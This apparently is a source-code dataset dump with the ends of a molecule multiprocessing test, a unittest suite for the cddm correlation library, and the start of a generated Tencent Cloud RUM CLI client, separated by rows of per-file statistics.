["~", 2, 4, 8],
[
100,
"{:.2f}/{:.2f}".format(
float(self._100_molecules_serial_time_2),
float(_100_molecules_2_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._100_molecules_serial_time_2),
float(_100_molecules_5_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._100_molecules_serial_time_2),
float(_100_molecules_10_process_time),
),
],
[
500,
"{:.2f}/{:.2f}".format(
float(self._500_molecules_serial_time_2),
float(_500_molecules_2_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._500_molecules_serial_time_2),
float(_500_molecules_5_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._500_molecules_serial_time_2),
float(_500_molecules_10_process_time),
),
],
[
1000,
"{:.2f}/{:.2f}".format(
float(self._1000_molecules_serial_time_2),
float(_1000_molecules_2_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._1000_molecules_serial_time_2),
float(_1000_molecules_5_process_time),
),
"{:2f}/{:.2f}".format(
float(self._1000_molecules_serial_time_2),
float(_1000_molecules_10_process_time),
),
],
[
5000,
"{:.2f}/{:.2f}".format(
float(self._5000_molecules_serial_time_2),
float(_5000_molecules_2_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._5000_molecules_serial_time_2),
float(_5000_molecules_5_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._5000_molecules_serial_time_2),
float(_5000_molecules_10_process_time),
),
],
[
10000,
"{:.2f}/{:.2f}".format(
float(self._10000_molecules_serial_time_2),
float(_10000_molecules_2_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._10000_molecules_serial_time_2),
float(_10000_molecules_5_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._10000_molecules_serial_time_2),
float(_10000_molecules_10_process_time),
),
],
[
15000,
"{:.2f}/{:.2f}".format(
float(self._15000_molecules_serial_time_2),
float(_15000_molecules_2_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._15000_molecules_serial_time_2),
float(_15000_molecules_5_process_time),
),
"{:.2f}/{:.2f}".format(
float(self._15000_molecules_serial_time_2),
float(_15000_molecules_10_process_time),
),
],
],
headers=["# mol", "", "# processes", ""],
)
)
@classmethod
def tearDownClass(self):
"""Delete temporary files used in testing."""
print("Deleting smiles database files.")
remove(self.text_fpath)
if not self.NO_SPEEDUP_TEST:
remove(self._100_molecules_fpath)
remove(self._500_molecules_fpath)
remove(self._1000_molecules_fpath)
remove(self._5000_molecules_fpath)
remove(self._10000_molecules_fpath)
remove(self._15000_molecules_fpath)
print(" ~ ~ Multithreading Test Complete ~ ~ ")
if __name__ == "__main__":
unittest.main()
| 43.117014
| 103
| 0.559385
| 6,133
| 64,115
| 5.324148
| 0.030328
| 0.04851
| 0.06517
| 0.04459
| 0.946161
| 0.928644
| 0.917374
| 0.910452
| 0.903255
| 0.878817
| 0
| 0.080985
| 0.371192
| 64,115
| 1,486
| 104
| 43.14603
| 0.728941
| 0.027544
| 0
| 0.771261
| 0
| 0
| 0.091541
| 0.015303
| 0
| 0
| 0
| 0
| 0.010264
| 1
| 0.008065
| false
| 0
| 0.005865
| 0
| 0.016862
| 0.094575
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
cb2c05c583ee896ae2c89116df2b09b019b8e5fd
| 23,978
|
py
|
Python
|
cddm/test/test_core.py
|
inwwin/cddm
|
a395c19471ba680c991219a6f51f7327b89139bd
|
[
"MIT"
] | null | null | null |
cddm/test/test_core.py
|
inwwin/cddm
|
a395c19471ba680c991219a6f51f7327b89139bd
|
[
"MIT"
] | null | null | null |
cddm/test/test_core.py
|
inwwin/cddm
|
a395c19471ba680c991219a6f51f7327b89139bd
|
[
"MIT"
] | null | null | null |
import unittest
import numpy as np
import cddm.core as core
from cddm.conf import FDTYPE, CDTYPE
from cddm.video import fromarrays
#test arrays
a = [1.,2,3,4]
b = [5,6,7,8]
t1 = [1,3,7,8]
t2 = [2,4,6,8]
#results fo calculations
cross_a_b = np.array([ 70., 100., 62., 28.],FDTYPE)
cross_a_b_t1_t2 = np.array([32., 72., 28., 38., 24., 38., 20., 8.],FDTYPE)
auto_a = np.array([30., 20., 11., 4.], FDTYPE)
auto_a_t1 = np.array([30., 12., 2., 0., 6., 8., 3., 4.],FDTYPE)
auto_sum_a = np.array([10. , 7.5, 5. , 2.5], FDTYPE)
auto_sum_a_t1 = np.array([10. , 3.5, 1.5, 0. , 2.5, 3. , 2. , 2.5],FDTYPE)
cross_sum_a = np.array([10., 15., 10., 5.], FDTYPE)
cross_sum_a_t1_t2 = np.array([ 4., 11., 4., 6., 4., 6., 4., 1.],FDTYPE)
cross_count_10 = np.array([10, 18, 16, 14, 12, 10, 8, 6, 4, 2],FDTYPE)
cross_count_t1_t2 = np.array([1, 5, 1, 3, 1, 3, 1, 1],FDTYPE)
auto_count_10 = np.array([10, 9, 8, 7, 6, 5, 4, 3, 2, 1],FDTYPE)
auto_count_t1 = np.array([4, 1, 1, 0, 1, 1, 1, 1],FDTYPE)
np.random.seed(0)
a2 = [a,a]
b2 = [b,b]
test_data1 = np.random.randn(32,19,8) + np.random.randn(32,19,8)*1j
test_data2 = np.random.randn(32,19,8) + np.random.randn(32,19,8)*1j
test_data1 = np.array(test_data1, CDTYPE)
test_data2 = np.array(test_data2, CDTYPE)
test_mask = np.ones((19,8),bool)
test_mask[0] = False
test_mask[:,0::3] = False
class TestCorrelateDifference(unittest.TestCase):
def setUp(self):
pass
def test_auto_correlate_fft(self):
out = core.auto_correlate_fft(a)
self.assertTrue(np.allclose(out,auto_a))
out = core.auto_correlate_fft(a,t1)
self.assertTrue(np.allclose(out,auto_a_t1, atol = 1e-6))
out = core.auto_correlate_fft(a,t1, aout = out)
self.assertTrue(np.allclose(out,auto_a_t1*2,atol = 1e-6))
def test_auto_correlate_fft2(self):
out = core.auto_correlate_fft(a2,axis = -1)
self.assertTrue(np.allclose(out[0],auto_a))
out = core.auto_correlate_fft(a2,t1,axis = -1)
self.assertTrue(np.allclose(out[0],auto_a_t1, atol = 1e-6))
out = core.auto_correlate_fft(a2,t1, axis = -1, aout = out)
self.assertTrue(np.allclose(out[0],auto_a_t1*2, atol = 1e-6))
def test_auto_correlate_fft_n(self):
out = core.auto_correlate_fft(a, n = 3)
self.assertTrue(np.allclose(out,auto_a[0:3]))
out = core.auto_correlate_fft(a,t1,n = 3)
self.assertTrue(np.allclose(out,auto_a_t1[0:3]))
out = core.auto_correlate_fft(a,t1,n = 3, aout = out)
self.assertTrue(np.allclose(out,auto_a_t1[0:3]*2))
def test_auto_correlate_fft_n2(self):
out = core.auto_correlate_fft(a2, axis = -1, n = 3)
self.assertTrue(np.allclose(out[0],auto_a[0:3]))
out = core.auto_correlate_fft(a2,t1,n = 3, axis = -1)
self.assertTrue(np.allclose(out[0],auto_a_t1[0:3]))
out = core.auto_correlate_fft(a2,t1,n = 3, axis = -1, aout = out)
self.assertTrue(np.allclose(out[0],auto_a_t1[0:3]*2))
def test_auto_correlate(self):
out = core.auto_correlate(a)
self.assertTrue(np.allclose(out,auto_a))
out = core.auto_correlate(a,t1)
self.assertTrue(np.allclose(out,auto_a_t1))
out = core.auto_correlate(a,t1, aout = out)
self.assertTrue(np.allclose(out,auto_a_t1*2))
def test_auto_correlate2(self):
out = core.auto_correlate(a2, axis = -1)
self.assertTrue(np.allclose(out[0],auto_a))
out = core.auto_correlate(a2,t1, axis = -1)
self.assertTrue(np.allclose(out[0],auto_a_t1))
out = core.auto_correlate(a2,t1, axis = -1, aout = out)
self.assertTrue(np.allclose(out[0],auto_a_t1*2))
def test_auto_correlate_n(self):
out = core.auto_correlate(a, n = 3)
self.assertTrue(np.allclose(out,auto_a[0:3]))
out = core.auto_correlate(a,t1,n = 3)
self.assertTrue(np.allclose(out,auto_a_t1[0:3]))
out = core.auto_correlate(a,t1,n = 3, aout = out)
self.assertTrue(np.allclose(out,auto_a_t1[0:3]*2))
def test_auto_correlate_n2(self):
out = core.auto_correlate(a2, n = 3,axis = -1)
self.assertTrue(np.allclose(out[0],auto_a[0:3]))
out = core.auto_correlate(a2,t1,n = 3, axis = -1)
self.assertTrue(np.allclose(out[0],auto_a_t1[0:3]))
out = core.auto_correlate(a2,t1,n = 3, aout = out, axis = 1)
self.assertTrue(np.allclose(out[0],auto_a_t1[0:3]*2))
def test_cross_correlate_fft(self):
out = core.cross_correlate_fft(a,b)
self.assertTrue(np.allclose(out,cross_a_b))
out = core.cross_correlate_fft(a,b,t1,t2)
self.assertTrue(np.allclose(out,cross_a_b_t1_t2))
out = core.cross_correlate_fft(a,b,t1,t2, aout = out)
self.assertTrue(np.allclose(out,cross_a_b_t1_t2*2))
def test_cross_correlate_fft2(self):
out = core.cross_correlate_fft(a2,b2,axis = 1)
self.assertTrue(np.allclose(out[0],cross_a_b))
out = core.cross_correlate_fft(a2,b2,t1,t2,axis = 1)
self.assertTrue(np.allclose(out[0],cross_a_b_t1_t2))
out = core.cross_correlate_fft(a2,b2,t1,t2, aout = out,axis = -1)
self.assertTrue(np.allclose(out[0],cross_a_b_t1_t2*2))
def test_cross_correlate_fft_n(self):
out = core.cross_correlate_fft(a,b, n = 3)
self.assertTrue(np.allclose(out,cross_a_b[:3]))
out = core.cross_correlate_fft(a,b,t1,t2, n = 3)
self.assertTrue(np.allclose(out,cross_a_b_t1_t2[:3]))
out = core.cross_correlate_fft(a,b,t1,t2, n = 3, aout = out)
self.assertTrue(np.allclose(out,cross_a_b_t1_t2[:3]*2))
def test_cross_correlate_fft_n2(self):
out = core.cross_correlate_fft(a2,b2, n = 3 ,axis = -1)
self.assertTrue(np.allclose(out[0],cross_a_b[:3]))
out = core.cross_correlate_fft(a2,b2,t1,t2, n = 3, axis = -1)
self.assertTrue(np.allclose(out[0],cross_a_b_t1_t2[:3]))
out = core.cross_correlate_fft(a2,b2,t1,t2, n = 3, aout = out, axis = -1)
self.assertTrue(np.allclose(out[0],cross_a_b_t1_t2[:3]*2))
def test_cross_correlate(self):
out = core.cross_correlate(a,b)
self.assertTrue(np.allclose(out,cross_a_b))
out = core.cross_correlate(a,b,t1,t2)
self.assertTrue(np.allclose(out,cross_a_b_t1_t2))
out = core.cross_correlate(a,b,t1,t2, aout = out)
self.assertTrue(np.allclose(out,cross_a_b_t1_t2*2))
def test_cross_correlate2(self):
out = core.cross_correlate(a2,b2,axis = -1)
self.assertTrue(np.allclose(out[0],cross_a_b))
out = core.cross_correlate(a2,b2,t1,t2,axis = -1)
self.assertTrue(np.allclose(out[0],cross_a_b_t1_t2))
out = core.cross_correlate(a2,b2,t1,t2, aout = out,axis = -1)
self.assertTrue(np.allclose(out[0],cross_a_b_t1_t2*2))
def test_cross_correlate_n(self):
out = core.cross_correlate(a,b, n = 3)
self.assertTrue(np.allclose(out,cross_a_b[:3]))
out = core.cross_correlate(a,b,t1,t2, n = 3)
self.assertTrue(np.allclose(out,cross_a_b_t1_t2[:3]))
out = core.cross_correlate(a,b,t1,t2, n = 3, aout = out)
self.assertTrue(np.allclose(out,cross_a_b_t1_t2[:3]*2))
def test_cross_correlate_n2(self):
out = core.cross_correlate(a2,b2, n = 3,axis = -1)
self.assertTrue(np.allclose(out[0],cross_a_b[:3]))
out = core.cross_correlate(a2,b2,t1,t2, n = 3, axis = -1)
self.assertTrue(np.allclose(out[0],cross_a_b_t1_t2[:3]))
out = core.cross_correlate(a2,b2,t1,t2, n = 3, aout = out, axis = -1)
self.assertTrue(np.allclose(out,cross_a_b_t1_t2[:3]*2))
class TestSum(unittest.TestCase):
def test_auto_sum(self):
out = core.auto_sum(a)
self.assertTrue(np.allclose(out,auto_sum_a))
out = core.auto_sum(a,t1)
self.assertTrue(np.allclose(out,auto_sum_a_t1))
out = core.auto_sum(a,t1, aout = out)
self.assertTrue(np.allclose(out,auto_sum_a_t1*2))
def test_auto_sum_n(self):
out = core.auto_sum(a, n = 3)
self.assertTrue(np.allclose(out,auto_sum_a[0:3]))
out = core.auto_sum(a,t1, n = 3)
self.assertTrue(np.allclose(out,auto_sum_a_t1[0:3]))
out = core.auto_sum(a,t1, aout = out)
self.assertTrue(np.allclose(out,auto_sum_a_t1[0:3]*2))
out = core.auto_sum(a,t1, n = 3, aout = out)
self.assertTrue(np.allclose(out,auto_sum_a_t1[0:3]*3))
def test_auto_sum_fft(self):
out = core.auto_sum_fft(a,t1)
self.assertTrue(np.allclose(out,auto_sum_a_t1))
out = core.auto_sum_fft(a,t1, aout = out)
self.assertTrue(np.allclose(out,auto_sum_a_t1*2))
def test_auto_sum_fft_n(self):
out = core.auto_sum_fft(a,t1, n = 3)
self.assertTrue(np.allclose(out,auto_sum_a_t1[0:3]))
out = core.auto_sum_fft(a,t1, n =3, aout = out)
self.assertTrue(np.allclose(out,auto_sum_a_t1[0:3]*2))
out = core.auto_sum_fft(a,t1, aout = out)
self.assertTrue(np.allclose(out,auto_sum_a_t1[0:3]*3))
def test_cross_sum(self):
out = core.cross_sum(a)
self.assertTrue(np.allclose(out,cross_sum_a))
out = core.cross_sum(a,t1,t2)
self.assertTrue(np.allclose(out,cross_sum_a_t1_t2))
out = core.cross_sum(a,t1,t2, aout = out)
self.assertTrue(np.allclose(out,cross_sum_a_t1_t2*2))
def test_cross_sum_n(self):
out = core.cross_sum(a, n=3)
self.assertTrue(np.allclose(out,cross_sum_a[0:3]))
out = core.cross_sum(a,t1,t2, n = 3)
self.assertTrue(np.allclose(out,cross_sum_a_t1_t2[0:3]))
out = core.cross_sum(a,t1,t2, aout = out)
self.assertTrue(np.allclose(out,cross_sum_a_t1_t2[0:3]*2))
def test_cross_sum_fft(self):
out = core.cross_sum_fft(a,t1,t2)
self.assertTrue(np.allclose(out,cross_sum_a_t1_t2))
out = core.cross_sum_fft(a,t1,t2, aout = out)
self.assertTrue(np.allclose(out,cross_sum_a_t1_t2*2))
def test_cross_sum_fft_n(self):
out = core.cross_sum_fft(a,t1,t2, n = 3)
self.assertTrue(np.allclose(out,cross_sum_a_t1_t2[0:3]))
out = core.cross_sum_fft(a,t1,t2, aout = out)
self.assertTrue(np.allclose(out,cross_sum_a_t1_t2[0:3]*2))
out = core.cross_sum_fft(a,t1,t2, n =3, aout = out)
self.assertTrue(np.allclose(out,cross_sum_a_t1_t2[0:3]*3))
def test_cross_sum_equivalence_ND(self):
for axis in (0,1,2):
t1 = np.arange(test_data1.shape[axis])
t2 = np.arange(test_data1.shape[axis]) + 3
out1 = core.cross_sum(test_data1,t1,t2, axis = axis)
out2 = core.cross_sum_fft(test_data1,t1,t2, axis = axis)
self.assertTrue(np.allclose(out1,out2))
class TestCount(unittest.TestCase):
def test_cross_count(self):
out = core.cross_count(10)
self.assertTrue(np.allclose(out,cross_count_10))
out = core.cross_count(t1,t2)
self.assertTrue(np.allclose(out,cross_count_t1_t2))
out = core.cross_count(t1,t2, aout = out)
self.assertTrue(np.allclose(out,cross_count_t1_t2*2))
def test_cross_count_n(self):
out = core.cross_count(10, n = 5)
self.assertTrue(np.allclose(out,cross_count_10[0:5]))
out = core.cross_count(t1,t2,n=5)
self.assertTrue(np.allclose(out,cross_count_t1_t2[0:5]))
out = core.cross_count(t1,t2, aout = out)
self.assertTrue(np.allclose(out,2*cross_count_t1_t2[0:5]))
def test_auto_count(self):
out = core.auto_count(10)
self.assertTrue(np.allclose(out,auto_count_10))
out = core.auto_count(t1)
self.assertTrue(np.allclose(out,auto_count_t1))
out = core.auto_count(t1, aout = out)
self.assertTrue(np.allclose(out,auto_count_t1*2))
def test_auto_count_n(self):
out = core.auto_count(10, n = 5)
self.assertTrue(np.allclose(out,auto_count_10[0:5]))
out = core.auto_count(t1, n = 5)
self.assertTrue(np.allclose(out,auto_count_t1[:5]))
out = core.auto_count(t1, aout = out)
self.assertTrue(np.allclose(out,2*auto_count_t1[:5]))
class TestIcorr(unittest.TestCase):
def test_cross_equivalence(self):
for method in ("corr","diff","fft"):
bg,var = core.stats(test_data1, test_data2, axis = 0)
data = core.ccorr(test_data1, test_data2,n = 8, norm = 1, method = method)
out1 = core.normalize(data, bg, var)
vid = fromarrays((test_data1, test_data2))
data,bg,var = core.iccorr(vid, count = len(test_data1),chunk_size = 16,n = 8, norm = 1, method = method)
out2 = core.normalize(data, bg, var)
self.assertTrue(np.allclose(out1, out2))
def test_auto_equivalence_2(self):
for method in ("corr",):
bg,var = core.stats(test_data1, axis = 0)
data1 = core.ccorr(test_data1,test_data1, n = 8, norm = 2, method = method)
out1 = core.normalize(data1, bg, var, norm = 2)
data2,bg,var = core.iacorr(test_data1, n = 8, norm = 2, method = method)
out2 = core.normalize(data2, bg, var, norm = 2)
self.assertTrue(np.allclose(out1, out2))
def test_auto_equivalence_1(self):
for method in ("corr","fft","diff"):
bg,var = core.stats(test_data1, axis = 0)
data1 = core.acorr(test_data1, n = 8, norm = 1, method = method)
out1 = core.normalize(data1, bg, var, norm = 1)
data2,bg,var = core.iacorr(test_data1, n = 8, norm = 1, method = method)
out2 = core.normalize(data2, bg, var, norm = 1)
self.assertTrue(np.allclose(out1, out2))
class TestCorr(unittest.TestCase):
def setUp(self):
pass
def test_corr_regular_3(self):
for scale in (True, False):
for mode in ("corr", "diff"):
for axis in (0,1,2):
bg,var = core.stats(test_data1, test_data2, axis = axis)
data = core.ccorr(test_data1, test_data2, norm = 3, method = "fft", axis = axis)
self.out = core.normalize(data, bg, var, norm = 3, mode = mode, scale = scale)
data = core.ccorr(test_data1, test_data2, norm = 3, method = "corr", axis = axis)
out_other = core.normalize(data, bg, var, norm = 3, mode = mode, scale = scale)
self.assertTrue(np.allclose(self.out, out_other))
data = core.ccorr(test_data1, test_data2, norm = 3, method = "diff", axis = axis)
out_other = core.normalize(data, bg, var, norm = 3, mode = mode, scale = scale)
self.assertTrue(np.allclose(self.out, out_other))
def test_ccorr_regular_3_mask(self):
for scale in (True, False):
for mode in ("corr", "diff"):
axis = 0
bg,var = core.stats(test_data1, test_data2, axis = axis)
data = core.ccorr(test_data1, test_data2, norm = 3, method = "fft", axis = axis)
self.out = core.normalize(data, bg, var, norm = 3, mode = mode, scale = scale, mask = test_mask)
data = core.ccorr(test_data1, test_data2, norm = 3, method = "corr", axis = axis)
out_other = core.normalize(data, bg, var, norm = 3, mode = mode, scale = scale, mask = test_mask)
self.assertTrue(np.allclose(self.out, out_other))
data = core.ccorr(test_data1, test_data2, norm = 3, method = "diff", axis = axis)
out_other = core.normalize(data, bg, var, norm = 3, mode = mode, scale = scale, mask = test_mask)
self.assertTrue(np.allclose(self.out, out_other))
def test_acorr_regular_3(self):
for scale in (True, False):
for mode in ("corr", "diff"):
for axis in (0,1,2):
bg,var = core.stats(test_data1, axis = axis)
data = core.ccorr(test_data1, test_data1, norm = 3, method = "fft", axis = axis)
self.out = core.normalize(data, bg, var, norm = 1, mode = mode, scale = scale)
data = core.acorr(test_data1,norm = 3, method = "corr", axis = axis)
out_other = core.normalize(data, bg, var, norm = 1, mode = mode, scale = scale)
self.assertTrue(np.allclose(self.out, out_other))
data = core.acorr(test_data1,norm = 1, method = "diff", axis = axis)
out_other = core.normalize(data, bg, var, norm = 1, mode = mode, scale = scale)
self.assertTrue(np.allclose(self.out, out_other))
def test_ccorr_regular_1(self):
for scale in (True, False):
for mode in ("corr", "diff"):
for axis in (0,1,2):
bg,var = core.stats(test_data1, test_data2, axis = axis)
data = core.ccorr(test_data1, test_data2, norm = 1, method = "fft", axis = axis)
self.out = core.normalize(data, bg, var, norm = 1, mode = mode, scale = scale)
data = core.ccorr(test_data1, test_data2, norm = 1, method = "corr", axis = axis)
out_other = core.normalize(data, bg, var, norm = 1, mode = mode, scale = scale)
self.assertTrue(np.allclose(self.out, out_other))
data = core.ccorr(test_data1, test_data2, norm = 1, method = "diff", axis = axis)
out_other = core.normalize(data, bg, var, norm = 1, mode = mode, scale = scale)
self.assertTrue(np.allclose(self.out, out_other))
def test_acorr_regular_1(self):
for scale in (True, False):
for mode in ("corr", "diff"):
for axis in (0,1,2):
bg,var = core.stats(test_data1, axis = axis)
data = core.acorr(test_data1, norm = 1, method = "fft", axis = axis)
self.out = core.normalize(data, bg, var, norm = 1, mode = mode, scale = scale)
data = core.acorr(test_data1,norm = 1, method = "corr", axis = axis)
out_other = core.normalize(data, bg, var, norm = 1, mode = mode, scale = scale)
self.assertTrue(np.allclose(self.out, out_other))
data = core.acorr(test_data1,norm = 1, method = "diff", axis = axis)
out_other = core.normalize(data, bg, var, norm = 1, mode = mode, scale = scale)
self.assertTrue(np.allclose(self.out, out_other))
def test_corr_regular_1_mask(self):
for scale in (True, False):
for mode in ("corr", "diff"):
axis = 0
bg,var = core.stats(test_data1, test_data2, axis = axis)
data = core.ccorr(test_data1, test_data2, norm = 1, method = "fft", axis = axis)
self.out = core.normalize(data, bg, var, norm = 1, mode = mode, scale = scale,mask = test_mask)
data = core.ccorr(test_data1, test_data2, norm = 1, method = "corr", axis = axis)
out_other = core.normalize(data, bg, var, norm = 1, mode = mode, scale = scale,mask = test_mask)
self.assertTrue(np.allclose(self.out, out_other))
data = core.ccorr(test_data1, test_data2, norm = 1, method = "diff", axis = axis)
out_other = core.normalize(data, bg, var, norm = 1, mode = mode, scale = scale,mask = test_mask)
self.assertTrue(np.allclose(self.out, out_other))
def test_ccorr_regular_0(self):
for scale in (True, False):
for mode in ("corr", "diff"):
for axis in (0,1,2):
bg,var = core.stats(test_data1, test_data2, axis = axis)
data = core.ccorr(test_data1, test_data2, norm = 0, method = "fft", axis = axis)
self.out = core.normalize(data, bg, var, norm = 0, mode = mode, scale = scale)
data = core.ccorr(test_data1, test_data2, norm = 0, method = "corr", axis = axis)
out_other = core.normalize(data, bg, var, norm = 0, mode = mode, scale = scale)
self.assertTrue(np.allclose(self.out, out_other))
def test_acorr_regular_0(self):
for scale in (True, False):
for mode in ("corr", "diff"):
for axis in (0,1,2):
bg,var = core.stats(test_data1, axis = axis)
data = core.acorr(test_data1, norm = 0, method = "fft", axis = axis)
self.out = core.normalize(data, bg, var, norm = 0, mode = mode, scale = scale)
data = core.acorr(test_data1,norm = 0, method = "corr", axis = axis)
out_other = core.normalize(data, bg, var, norm = 0, mode = mode, scale = scale)
self.assertTrue(np.allclose(self.out, out_other))
def test_corr_regular_0_mask(self):
for scale in (True, False):
for mode in ("corr", "diff"):
axis = 0
bg,var = core.stats(test_data1, test_data2, axis = axis)
data = core.ccorr(test_data1, test_data2, norm = 0, method = "fft", axis = axis)
self.out = core.normalize(data, bg, var, norm = 0, mode = mode, scale = scale, mask = test_mask)
data = core.ccorr(test_data1, test_data2, norm = 0, method = "corr", axis = axis)
out_other = core.normalize(data, bg, var, norm = 0, mode = mode, scale = scale, mask = test_mask)
self.assertTrue(np.allclose(self.out, out_other))
def test_corr_regular_2(self):
for scale in (True, False):
for mode in ("corr", "diff"):
for axis in (0,1,2):
bg,var = core.stats(test_data1, test_data2, axis = axis)
data = core.ccorr(test_data1, test_data2, norm = 2, method = "fft", axis = axis)
self.out = core.normalize(data, bg, var, norm = 2, mode = mode, scale = scale)
data = core.ccorr(test_data1, test_data2, norm = 2, method = "corr", axis = axis)
out_other = core.normalize(data, bg, var, norm = 2, mode = mode, scale = scale)
self.assertTrue(np.allclose(self.out, out_other))
def test_corr_regular_2_mask(self):
for scale in (True, False):
for mode in ("corr", "diff"):
bg,var = core.stats(test_data1, test_data2)
data = core.ccorr(test_data1, test_data2, norm = 2, method = "fft")
self.out = core.normalize(data, bg, var, norm = 2, mode = mode, scale = scale, mask = test_mask)
data = core.ccorr(test_data1, test_data2, norm = 2, method = "corr")
out_other = core.normalize(data, bg, var, norm = 2, mode = mode, scale = scale,mask = test_mask)
self.assertTrue(np.allclose(self.out, out_other))
class TestRest(unittest.TestCase):
def test_abs2(self):
self.assertTrue(np.allclose(core.abs2(test_data1), np.abs(test_data1)**2))
if __name__ == "__main__":
unittest.main()
| 47.860279
| 116
| 0.57803
| 3,569
| 23,978
| 3.700476
| 0.035584
| 0.111305
| 0.127205
| 0.190808
| 0.922162
| 0.89657
| 0.860453
| 0.830923
| 0.788976
| 0.739381
| 0
| 0.050067
| 0.285303
| 23,978
| 501
| 117
| 47.860279
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| 0.263819
| 1
| 0.115578
| false
| 0.005025
| 0.012563
| 0
| 0.143216
| 0
| 0
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| 0
| null | 0
| 0
| 1
| 1
| 1
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0
| 7
|
cb66f5a75913af4b5e6f8bfe378cdc9ad207be98
| 147,736
|
py
|
Python
|
tccli/services/rum/rum_client.py
|
tencentcloudapi-test/tencentcloud-cli
|
da9733765df2b405b83b7acff48256f31e053ab1
|
[
"Apache-2.0"
] | null | null | null |
tccli/services/rum/rum_client.py
|
tencentcloudapi-test/tencentcloud-cli
|
da9733765df2b405b83b7acff48256f31e053ab1
|
[
"Apache-2.0"
] | null | null | null |
tccli/services/rum/rum_client.py
|
tencentcloudapi-test/tencentcloud-cli
|
da9733765df2b405b83b7acff48256f31e053ab1
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
import os
import sys
import six
import json
import tccli.options_define as OptionsDefine
import tccli.format_output as FormatOutput
from tccli import __version__
from tccli.utils import Utils
from tccli.exceptions import ConfigurationError, ClientError, ParamError
from tencentcloud.common import credential
from tencentcloud.common.profile.http_profile import HttpProfile
from tencentcloud.common.profile.client_profile import ClientProfile
from tencentcloud.rum.v20210622 import rum_client as rum_client_v20210622
from tencentcloud.rum.v20210622 import models as models_v20210622
from jmespath import search
import time
def doDescribeTawAreas(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeTawAreasRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeTawAreas(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doCreateReleaseFile(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.CreateReleaseFileRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.CreateReleaseFile(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
